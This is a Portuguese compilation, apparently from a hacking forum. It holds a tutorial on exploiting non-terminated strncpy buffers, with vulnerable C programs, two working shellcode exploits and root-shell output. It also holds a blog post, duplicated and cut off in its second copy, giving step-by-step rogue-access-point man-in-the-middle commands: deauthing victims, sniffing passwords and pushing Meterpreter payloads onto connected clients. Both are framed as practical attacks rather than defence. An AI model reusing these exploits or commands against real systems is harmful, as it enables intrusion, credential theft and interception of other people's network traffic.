e nao construindo coisas para facilitar.Eh alterar a propria logica,
a regra do jogo, manipulando-a de uma forma nao-convencional(pre-
estabelecida).
Programar eh importante, mas eh apenas uma das facetas do hacking, tem
muito mais coisas e coisas mais importantes que estas.
Devemos dar um passo devagar e constante, olhando tudo ao nosso redor
e procurando definir limites as nossas acoes. A experiencia se adquire
com o tempo, o que antes parecia devaneio, agora pode ser realidade,
e o que muitos creem hoje ser fabula amanha pode se tornar um pesadelo.
Nao existe destino individual, cada um decide qual lado da forca quer
ajudar.A utilizacao do conhecimento eh o que nos torna o ser humano
que somos e nao o contrario. Se guardarmos o conhecimento apenas para
nos mesmos, deixaremos de lado a existencia de um hacker no espirito
humano.
5.3 - Agradecimentos
---------------------
Agradeco a Deus pela oportunidade de ter um objetivo na vida.
E tambem as pessoas que compartilham o conhecimento para produzir mais
conhecimento e beneficiar a vida das pessoas. Tambem as inumeros grupos
e fucadores que nao podem assinar os documentos, ou exploits e programas
que escrevem mas que utilizam suas forcas para ajudar o proximo. Agradeco
aos hackers corajosos que disponibilizam infos em paises cuja lei nao
permite, que sao perseguidos por lutarem contra a propriedade intelectual
e por procurarem democratizar nao apenas os softwares mas tambem, e
principalmente, a informacao.
Por fim, a todos que colaboram com a cena hacker aqui no brasil e que sao
criticados e hostilizados por acreditarem que a etica hacker pode ser
real para aqueles que a vivenciam. Aos grupos Int 0x80, Unsekurity Scene,
ZinesBR, Unsecurity.org, EoH, as scenes de outros paises, a
linuxsecurity.com.br, Axur Corp, Kimera - Solucoes em Seguranca,
BufferOverflow.org, e a todos que fazem parte deste universo da
inseguranca da informacao.
Um Abraco
Nash Leon.
Unsekurity Team.
* EXPLOITANDO MEMORIA ADJACENTE *
***********************************
1 - Introducao
2 - O Problema
3 - A Exploitacao
4 - Expansao do Conceito
5 - Terminando
5.1 - Links e Referencias
5.2 - Consideracoes Finais
5.2 - Agradecimentos
---------------
1 - Introducao |
---------------
Os ataques de Buffer Overflows parecem que ainda perdurarao por algum
tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca,
os exemplos de condicoes de overflow permanecem como uma "constante"
entre os aplicativos de um modo geral.
Ateh onde eu conheco, o conceito de buffer overflow eh apenas um, no
entanto, as tecnicas para implementacao deste conceito sao diversas. E
ateh onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a
expandir para as massas o conceito de buffer overflows. Desde o worm
(Robert Morris, 1988) ateh os nossos dias, muitos programadores tem
procurado diminuir as condicoes de buffer overflows em programas que
manipulam parametros recebidos de um usuario, substituindo funcoes
conhecidas como vulneraveis(strcpy, gets, sprintf) por funcoes que
necessariamente fazem checagem do tamanho dos parametros recebidos
(strncpy, snprintf, etc).
No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto
uma tecnica capaz de exploitar espacos de memoria adjacente,
especificamente o manuseio incorreto das funcoes ditas seguras(strcnpy,
por exemplo). As Analises de codigo-fonte(auditoria) passaram agora
a incluir todo tipo de funcoes, demonstrando assim que nao basta apenas
a funcao fazer a checagem do tamanho dos parametros, mas outros fatores
passaram a ser essenciais.
Neste documento abordaremos esta tecnica. Conhecimentos em C, Assembly
(AT&T), escrita de exploits(ver docs da Unsek Scene) e linux se fazem
necessarios. E principalmente mentalidade fucadora!
---------------
2 - O Problema |
---------------
Podemos descrever basicamente o problemas com as funcoes ditas seguras
(strncpy, strncat, etc) eh que elas nao sao capazes de terminar
automaticamente os buffers ou strings com um NULL. Como assim?
Vejamos nosso primeiro codigo inicial:
----------------------------------- b1.c ----------------------------------
/* Exemplo de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer[256];
/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));
/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));
return 0;
}
--------------------------------------------------------------------
Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256
A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256
Como podemos notar strlen() contem um tamanho superior ao esperado.
Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma
forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando
o programa abaixo:
-------------------------------- b2.c --------------------------------
/* Exemplo 2 de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];
/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}
------------------------------------------------------------------------
Executando este programa, teoricamente deveriamos ter a saida de buffer2,
ou seja, uma string contendo 8 caracteres.Mas vejamos:
kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon
NashLeonNashLeon possue 16 caracteres.
No mais a gente pode brincar com isso:
kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@
Ele imprime justmente porque o strncpy() nao encontrou o caracter
NULL como esperava. Com menos de 8 caracteres, poderiamos ter:
kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo
Ou seja, a execucao e impressao em modo normal e esperado, jah que
temos um NULL na string indicando o termino dela. O stack nesse
caso iria parecer como:
Memoria
Alta
|| ----------------> [Topo do Stack]
|| ----------------> [ 'N' (buffer2 - 0) ]
|| ----------------> [ 'a' (buffer2 - 1) ]
|| ----------------> [ 's' (buffer2 - 2) ]
|| ----------------> [ 'h' (buffer2 - 3) ]
|| ----------------> [ 'L' (buffer2 - 4) ]
|| ----------------> [ 'e' (buffer2 - 5) ]
|| ----------------> [ 'o' (buffer2 - 6) ]
|| ----------------> [ 'n' (buffer2 - 7) ]
|| ----------------> [ 'N' (buffer1 - 0) ]
|| ----------------> [ 'a' (buffer1 - 1) ]
|| ----------------> [ 's' (buffer1 - 2) ]
|| ----------------> [ 'h' (buffer1 - 3) ]
|| ----------------> [ 'L' (buffer1 - 4) ]
|| ----------------> [ 'e' (buffer1 - 5) ]
|| ----------------> [ 'o' (buffer1 - 6) ]
|| ----------------> [ 'n' (buffer1 - 7) ]
|| ----------------> [ 'U' (buffer1 -
]|| ----------------> [ 'n' (buffer1 - 9) ]
|| ----------------> [ 's' (buffer1 - 10) ]
|| ----------------> [ 'e' (buffer1 - 11) ]
|| ----------------> [ 'k' (buffer1 - 12) ]
|| ----------------> [ 0x00 (buffer1 - 13) ]
||
|| ...
\/
Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na secao abaixo.
------------------
3 - A Exploitacao |
------------------
Este problema pode ser exploitado de inumeras maneiras. Dependendo
do nivel do atacante, ele pode se aproveitar ateh mesmo do exemplo
inicial postado neste documento. Como este e todos os meus documentos
visam NewBies, veremos inicialmente o exemplo mais trivial de se
exploitar este problema.
Como vimos no exemplo acima, strlen() tende a ser maior do que o
esperado quando enchemos um buffer e strncpy() nao encontra um NULL,
criando assim anomalias entre a interacao de funcoes.
Vejamos abaixo uma possivel implicacao disso:
-------------------------------- v.c ------------------------------------
/* Exemplo inicial de programa vulneravel
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[300];
int i;
/* note que buf3 suporta 300 bytes enquando
* buf2(buffer) teoricamente deveria conter no maximo
* 256.
*/
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
----------------------------------------------------------------------
Para exploitarmos este programa, nao tem muito segredo. Vamos encher
o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas
com o endereco de retorno. Existem inumeros esquemas em cima disso,
em alguns casos, partindo o shellcode ou manipulando NOPs, enfim,
vejamos o exploit abaixo:
--------------------------------- ev.c -----------------------------------
/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
for(i=0; i< LENBUFF2; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#
Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo
ateh mesmo para evitar o uso de offsets. Outro possivel esquema pode
obedecer o seguinte modelo descrito pelo twitch na Phrack 56:
Apos a execucao de strncpy(), buf2 deve parecer com:
[ 0 ......................................................... 512 ]
--------------------------------------------------------------------
| | |
| offset_para_shellcode | Um monte de lixo(NULL, NOPs) |
| | |
--------------------------------------------------------------------
E buf1 deve parecer com:
[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Cadeia de NOP's | shellcode | Mais NOP's |
| | | |
--------------------------------------------------------------------
Logo, para este esquema poderiamos ter o seguinte exploit:
-------------------------------- ev2.c ---------------------------------
/* Segundo exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br
*/
#include
#include
#include
#include
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]) {
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0;
unsigned long retaddr;
if(argc < 2){
printf("Uso: %s
exit(0);
}
offset = atoi(argv[1]);
memset(buff1,0x90,sizeof(buff1));
memcpy(buff1+100,shellcode,strlen(shellcode));
retaddr = get_sp() + offset;
memset(buff2,0x90,sizeof(buff2));
for(i=0; i< LENBUFF2 - 360; i+=4){
buff2[i]=(retaddr&0x000000ff);
buff2[i+1]=(retaddr&0x0000ff00)>>8;
buff2[i+2]=(retaddr&0x00ff0000)>>16;
buff2[i+3]=(retaddr&0xff000000)>>24;
}
printf("Usando Retorno: 0x%x\n", retaddr);
execl("./v","./v",buff1,buff2,NULL);
}
----------------------------------------------------------------------
Executando:
kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#
Bom, como podemos perceber nao ha muito problema em exploitar este
tipo de problema. Mas podemos ir mais alem.
-------------------------
4 - Expansao do Conceito |
-------------------------
Qualquer funcao que manipula strings a espera de um caracter NULL
para "encerrar" a string pode estar vulneravel a este tipo de problema.
Vimos no exemplo acima, strncpy(), uma funcao que eh muito usada, mas
podemos ir mais alem.
As seguintes funcoes tambem podem apresentar problemas:
fread()
read() [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
e etc.
Hoje em dia, a que mais chama a atencao eh a for().
Vejamos o exemplo abaixo:
------------------------------- v2.c ---------------------------------
/* Exemplo de programa vulneravel em for().
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
#define MAXSIZE 256
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[MAXSIZE];
char buf2[MAXSIZE];
char *pam;
int i;
pam = argv[1];
/* Copiamos conteudo de argv[1] para buf1 */
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
for(i =0; i < MAXSIZE; i++){
buf2[i] = buf1[i];
}
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[MAXSIZE];
int i;
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
-------------------------------------------------------------------
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.
---------------
5 - Terminando |
---------------
Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.
Para impedir que os buffers sejam usados em condicoes de overflow
pela funcoes, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';
...
ou entao jah evitar quais problemas na propria funcao receptora:
#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...
5.1 - Links e Referencias
--------------------------
Existem varios documentos descrevendo esta tecnica, no entanto, em
forma de tutorial encontrei apenas dois ateh agora:
P56-14 - "TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" -
escrito por twitch - http://www.phrack.org/
" Exploiting none terminated buffers" - escrito por pr1 -
http://www.u-n-f.com/
Outros links interessantes:
http://www.kimera.com.br/
http://www.linuxsecurity.com.br/
http://unsekurity.virtualave.net/
http://www.axur.org/
http://www.securenet.com.br/
http://int0x80.host.sk/
http://www.unsecurity.org/
http://www.core-sdi.com/
http://packetstorm.linuxsecurity.com/
http://www.securityfocus.com/
http://www.counterpane.com/
http://www.atstake.com/
http://teso.scene.at/
5.2 - Consideracoes Finais
---------------------------
Buffer overflows eh uma tecnica fascinante, como qualquer outra tecnica
fucadora. O interessante aqui nao eh a programacao, mas a malicia.
Tenho visto muitas pessoas confundirem hacking com programacao. Achando
que programar em Assembly ou saber fazer isso ou aquilo outro os torna
especiais.
Nao sei, mas neste ponto concordo com Mitnick:
"Super-programadores sao pessimos hackers!".
De modo que, a malicia nao estah associada a capacidade de programar.
Dizem que programar eh resolver problemas, mas vejo muitos programadores
seguirem sempre uma logica pre-definida, ensinada por alguem. O hacking
ultrapassa essa esfera. Eh resolver problemas com o que se tem na mao
e nao construindo coisas para facilitar.Eh alterar a propria logica,
a regra do jogo, manipulando-a de uma forma nao-convencional(pre-
estabelecida).
Programar eh importante, mas eh apenas uma das facetas do hacking, tem
muito mais coisas e coisas mais importantes que estas.
Devemos dar um passo devagar e constante, olhando tudo ao nosso redor
e procurando definir limites as nossas acoes. A experiencia se adquire
com o tempo, o que antes parecia devaneio, agora pode ser realidade,
e o que muitos creem hoje ser fabula amanha pode se tornar um pesadelo.
Nao existe destino individual, cada um decide qual lado da forca quer
ajudar.A utilizacao do conhecimento eh o que nos torna o ser humano
que somos e nao o contrario. Se guardarmos o conhecimento apenas para
nos mesmos, deixaremos de lado a existencia de um hacker no espirito
humano.
5.3 - Agradecimentos
---------------------
Agradeco a Deus pela oportunidade de ter um objetivo na vida.
E tambem as pessoas que compartilham o conhecimento para produzir mais
conhecimento e beneficiar a vida das pessoas. Tambem as inumeros grupos
e fucadores que nao podem assinar os documentos, ou exploits e programas
que escrevem mas que utilizam suas forcas para ajudar o proximo. Agradeco
aos hackers corajosos que disponibilizam infos em paises cuja lei nao
permite, que sao perseguidos por lutarem contra a propriedade intelectual
e por procurarem democratizar nao apenas os softwares mas tambem, e
principalmente, a informacao.
Por fim, a todos que colaboram com a cena hacker aqui no brasil e que sao
criticados e hostilizados por acreditarem que a etica hacker pode ser
real para aqueles que a vivenciam. Aos grupos Int 0x80, Unsekurity Scene,
ZinesBR, Unsecurity.org, EoH, as scenes de outros paises, a
linuxsecurity.com.br, Axur Corp, Kimera - Solucoes em Seguranca,
BufferOverflow.org, e a todos que fazem parte deste universo da
inseguranca da informacao.
Um Abraco
Nash Leon.
Unsekurity Team.
Man-In-The-Middle na prática
Marcadores:
Hacking,
PenTest
0
comentários
Fala ae pessoal, neste post, vou dar um exemplo de um ataque MITM(Man-In-The-Middle, ou Homem no meio).
Muita gente pensa que MITM é apenas usar o Ettercap e já virou hacker, outros até, pensam que ataques deste tipo não servem de nada.
Infelizmente, esta é a realidade de muitas pessoas que são pseudo-hackers ou até mesmo pseudo-elites
Vamos lá, um ataque de MITM é quando o hacker se torna um relay entre dois, ou mais, clientes, neste caso, um Acess Point Wireless. Em essência, o hacker se torna um 'tracehop', que é um hop(ponto de passagem, nó).
Ataques MITM são muito usados para Phising, Spoofing e Sniffing. A única desvantagem desta técnica, é que dependendo do modelo OSI, você precisará ter acesso físico ao Acess Point.
Os meios para se explorar clientes usando a técnica do MITM são limitados a dois fatores: sua imaginação e a quantidade de maldade em seu coração. A boa notícia é: pode-se fazer muita pouca coisa se você não tiver maldade na cabeça.
Bom, vamos ao ataque, para executá-lo, você precisará de algumas ferramentas. Existem apenas poucas ferramentas que são realmente essênciais para fazer um MITM, mas para explorá-lo com eficiência, você precisará de muito mais, programar exploits também é bom
A base de um ataque MITM é pelos seguintes programas: airbase-ng(Incluido no aircrack-ng), bind9 e dhcp3-server.
Você pode usar também o Nessus, nmap, wireshark, ettercap, thc-hydra, metasploit, NetworkMiner, wine, cowpatty, nikto e vários outros.
Você também precisará de duas interfaces de rede, uma de entrada e uma de saída. Assegure-se que elas precisam ter suporte a 'modo monitor'. As suas vítimas precisam apenas estar rodando algum cliente wireless
Lembrando sempre que para executar estes passos que estou passando-lhes, você precisa estar rodando um console BASH e as interfaces de rede precisam ser eth0 e eth1 para não se confundirem.
Você precisa configurar um gateway totalmente funcional apenas uma vez, para isso, entre no arquivo de configuração do seu dhcp, o qual é /etc/default/dhcp3-server, agora, encontre a seguinte linha:
...INTERFACES=
E coloque a interface que será o seu Acess Point, neste caso, será eth1, salve e saia.
Agora, abra o arquivo /etc/dhcp3/dhcpd.conf e insira as seguintes linhas:
Isso fará com que todo mundo que se conectar a você, será colocado na faixa de sub-rede entre 10.0.0.100 e 10.0.0.249. Tendo em mente que você é o 10.0.0.1, e que você tem um servidor DNS em seu computador. O que você terá. Agora, reinicialize o dhcp3-server com o seguinte comando:
Se você quer ser um elite, você pode colocar uma conexão de loopback que você pode usar para rodar exploits sem precisa de uma outra máquina, abra o arquivo /etc/network/interfaces, DEPOIS DE TER CERTEZA DE QUE TEM UM BACKUP DELE. Adicione as linhas:
E rode o comando:
Agora que você tem um servidor DHCP, você precisa ligar e rodar o seu servidor DNS, para isso, usaremos o Bind9.
O Bind9 já vem configurado, então você apenas precisará modificá-lo para seus próprios sites, não farei isto agora para encurtar o post
Agora, execute o comando:
E abra o arquivo /etc/bind/named.conf.options, descomente as linhas a seguir e adicione servidores DNS alternativos, eu uso os do OpenDNS, o meu arquivo está assim:
Agora, ligue o Bind9 de novo com o comando:
Neste momento, estamos prontos para executar o ataque
Primeiro de tudo, conecte-se à internet usando a interface eth0, você provavelmente usará o servidor de acesso mais próximo, então, rode os seguintes comando para dar um kill em algumas coisas que podem causar conflitos, e dar poder sobre a interface de Acess Point(eth1):
O "ESSID" é o da rede a qual você está atacando. O parâmetro "-P" faz com que o Acess Point responda à todas as requisições e pedidos, capturando usuários bem mais rápido. O "-C 30" irá mudar os seus pacotes de resposta para enganar usuários, eles entrarão na rede mesmo se o SSID estiver incorreto.
Tenha certeza de que os comandos acima foram executados com sucesso para prosseguir.
Agora, você precisa configurar o seu iptables para o seu Acess Point, perceba que a interface at0 é muito fácil de ser colocado um sniffer junto, tudo o que você precisa fazer é executar os comandos a seguir o mais rápido o possível, para terminar de executá-los antes que muitos clientes tentem se conectar à rede, sugiro que você crie um script em Shell para isso :
Agora você tem um Acess Point totamente funcional, junto de um Sniffer embutido(se você tiver o ettercap instalado, é claro). Você perceberá que não tem muitos clientes se conectando, agora vem a parte divertida
Executaremos um ataque de Deauth(Desautenticação). Use o airodump-ng ou o ksmet para encontrar clientes e conseguir informações dos mesmos, com estas informações em mãos, execute o Deauth:
Se tudo correr bem, você poderá executar o comando a seguir para ver os clientes estão relativamente inativos. Se acontecer de ninguém re-entrar na rede logo em seguida, então eles possuem uma boa rede, e você precisará abusar um pouco da sua engenharia social para conseguir que eles se reconectem à rede. Espero que você tenha um ótimo "plano B" e inteligênicia e técnica o suficiente para isso.
Este é o comando para ver os clientes:
Se tudo correu bem até aqui, então você está em uma posição perfeita para 'brincar' com os clientes
Agora vai da sua imaginação, você pode usar um sniffer para capturar senhas, por exemplo o Wireshark ou Ettercap, usando filtros específicos, lembrem-se sempre que você precisará 'sniffar' a interface at0.
Usando o Network Miner, vocês podem até mesmo recriar a maioria dos arquivos que as pessoas baixam.
Você pode colocar executáveis em seus clientes, usando o Network Miner ou algum filtro do Ettercap, ou até mesmo copiando e colando nas pastas compartilhadas do windows ou até mesmo algum exploit de Iframe
Colocando e executando alguma payload já compilada, o Meterpreter por exemlpo, você terá acesso a uma Shell em seu cliente.
"O resto nasce daí"
Simples assim
Este é um exemplo muito claro e real de um ataque de MITM, é claro, isto é apenas o básico, como já disse no começo do post, existem infinitas possibilidades de execuções ou ataques, agora que você já sabe como fazer, basta apenas ter imaginação
Escrito por: Fzero
Muita gente pensa que MITM é apenas usar o Ettercap e já virou hacker, outros até, pensam que ataques deste tipo não servem de nada.
Infelizmente, esta é a realidade de muitas pessoas que são pseudo-hackers ou até mesmo pseudo-elites
Vamos lá, um ataque de MITM é quando o hacker se torna um relay entre dois, ou mais, clientes, neste caso, um Acess Point Wireless. Em essência, o hacker se torna um 'tracehop', que é um hop(ponto de passagem, nó).
Ataques MITM são muito usados para Phising, Spoofing e Sniffing. A única desvantagem desta técnica, é que dependendo do modelo OSI, você precisará ter acesso físico ao Acess Point.
Os meios para se explorar clientes usando a técnica do MITM são limitados a dois fatores: sua imaginação e a quantidade de maldade em seu coração. A boa notícia é: pode-se fazer muita pouca coisa se você não tiver maldade na cabeça.
Bom, vamos ao ataque, para executá-lo, você precisará de algumas ferramentas. Existem apenas poucas ferramentas que são realmente essênciais para fazer um MITM, mas para explorá-lo com eficiência, você precisará de muito mais, programar exploits também é bom
A base de um ataque MITM é pelos seguintes programas: airbase-ng(Incluido no aircrack-ng), bind9 e dhcp3-server.
Você pode usar também o Nessus, nmap, wireshark, ettercap, thc-hydra, metasploit, NetworkMiner, wine, cowpatty, nikto e vários outros.
Você também precisará de duas interfaces de rede, uma de entrada e uma de saída. Assegure-se que elas precisam ter suporte a 'modo monitor'. As suas vítimas precisam apenas estar rodando algum cliente wireless
Lembrando sempre que para executar estes passos que estou passando-lhes, você precisa estar rodando um console BASH e as interfaces de rede precisam ser eth0 e eth1 para não se confundirem.
Você precisa configurar um gateway totalmente funcional apenas uma vez, para isso, entre no arquivo de configuração do seu dhcp, o qual é /etc/default/dhcp3-server, agora, encontre a seguinte linha:
...INTERFACES=
E coloque a interface que será o seu Acess Point, neste caso, será eth1, salve e saia.
Agora, abra o arquivo /etc/dhcp3/dhcpd.conf e insira as seguintes linhas:
- Código:
ddns-update-style none; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.250; option domain-name-servers 10.0.0.1; option routers 10.0.0.1; default-lease-time 600; max-lease-time 7200; }
Isso fará com que todo mundo que se conectar a você, será colocado na faixa de sub-rede entre 10.0.0.100 e 10.0.0.249. Tendo em mente que você é o 10.0.0.1, e que você tem um servidor DNS em seu computador. O que você terá. Agora, reinicialize o dhcp3-server com o seguinte comando:
- Código:
sudo /etc/init.d/dhcp3-server restart
Se você quer ser um elite, você pode colocar uma conexão de loopback que você pode usar para rodar exploits sem precisa de uma outra máquina, abra o arquivo /etc/network/interfaces, DEPOIS DE TER CERTEZA DE QUE TEM UM BACKUP DELE. Adicione as linhas:
- Código:
auto lo eth1 iface eth1 inet dhcp iface lo inet loopback
E rode o comando:
- Código:
sudo /etc/init.d/networking restart
Agora que você tem um servidor DHCP, você precisa ligar e rodar o seu servidor DNS, para isso, usaremos o Bind9.
O Bind9 já vem configurado, então você apenas precisará modificá-lo para seus próprios sites, não farei isto agora para encurtar o post
Agora, execute o comando:
- Código:
/etc/init.d/bind9 stop
E abra o arquivo /etc/bind/named.conf.options, descomente as linhas a seguir e adicione servidores DNS alternativos, eu uso os do OpenDNS, o meu arquivo está assim:
- Código:
options { directory "/var/cache/bind"; fowarders { 208.67.222.222; 208.67.220.220}; auth-nxdomain no; listen-on-v6{ any; }; };
Agora, ligue o Bind9 de novo com o comando:
- Código:
/etc/init.d/bind9 start
Neste momento, estamos prontos para executar o ataque
Primeiro de tudo, conecte-se à internet usando a interface eth0, você provavelmente usará o servidor de acesso mais próximo, então, rode os seguintes comando para dar um kill em algumas coisas que podem causar conflitos, e dar poder sobre a interface de Acess Point(eth1):
- Código:
kill `cat /var/run/dhcp.pid` killall -9 dhcp3-server dhcpd wireshark ettercap airbase-ng airmon-ng stop eth1 ifconfig eth1 down modprobe tun airbase-ng -e "ESSID" -P -C 30 -v eth1
O "ESSID" é o da rede a qual você está atacando. O parâmetro "-P" faz com que o Acess Point responda à todas as requisições e pedidos, capturando usuários bem mais rápido. O "-C 30" irá mudar os seus pacotes de resposta para enganar usuários, eles entrarão na rede mesmo se o SSID estiver incorreto.
Tenha certeza de que os comandos acima foram executados com sucesso para prosseguir.
Agora, você precisa configurar o seu iptables para o seu Acess Point, perceba que a interface at0 é muito fácil de ser colocado um sniffer junto, tudo o que você precisa fazer é executar os comandos a seguir o mais rápido o possível, para terminar de executá-los antes que muitos clientes tentem se conectar à rede, sugiro que você crie um script em Shell para isso :
- Código:
ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptavles -t nat -A POSTROUTING -o eth0 -j MASQUERADE ettercap -T -q -p -i at0
Agora você tem um Acess Point totamente funcional, junto de um Sniffer embutido(se você tiver o ettercap instalado, é claro). Você perceberá que não tem muitos clientes se conectando, agora vem a parte divertida
Executaremos um ataque de Deauth(Desautenticação). Use o airodump-ng ou o ksmet para encontrar clientes e conseguir informações dos mesmos, com estas informações em mãos, execute o Deauth:
- Código:
aireplay-ng -e "ESSID-ALVO" -a "MAC-DO-Acess-Point-ALVO" -c "MAC-Do-cliente-ALVO" --deauth 1 eth3
Se tudo correr bem, você poderá executar o comando a seguir para ver os clientes estão relativamente inativos. Se acontecer de ninguém re-entrar na rede logo em seguida, então eles possuem uma boa rede, e você precisará abusar um pouco da sua engenharia social para conseguir que eles se reconectem à rede. Espero que você tenha um ótimo "plano B" e inteligênicia e técnica o suficiente para isso.
Este é o comando para ver os clientes:
- Código:
echo > '/var/state/dhcp/dhcpd.leases' ou sudo dhclient
Se tudo correu bem até aqui, então você está em uma posição perfeita para 'brincar' com os clientes
Agora vai da sua imaginação, você pode usar um sniffer para capturar senhas, por exemplo o Wireshark ou Ettercap, usando filtros específicos, lembrem-se sempre que você precisará 'sniffar' a interface at0.
Usando o Network Miner, vocês podem até mesmo recriar a maioria dos arquivos que as pessoas baixam.
Você pode colocar executáveis em seus clientes, usando o Network Miner ou algum filtro do Ettercap, ou até mesmo copiando e colando nas pastas compartilhadas do windows ou até mesmo algum exploit de Iframe
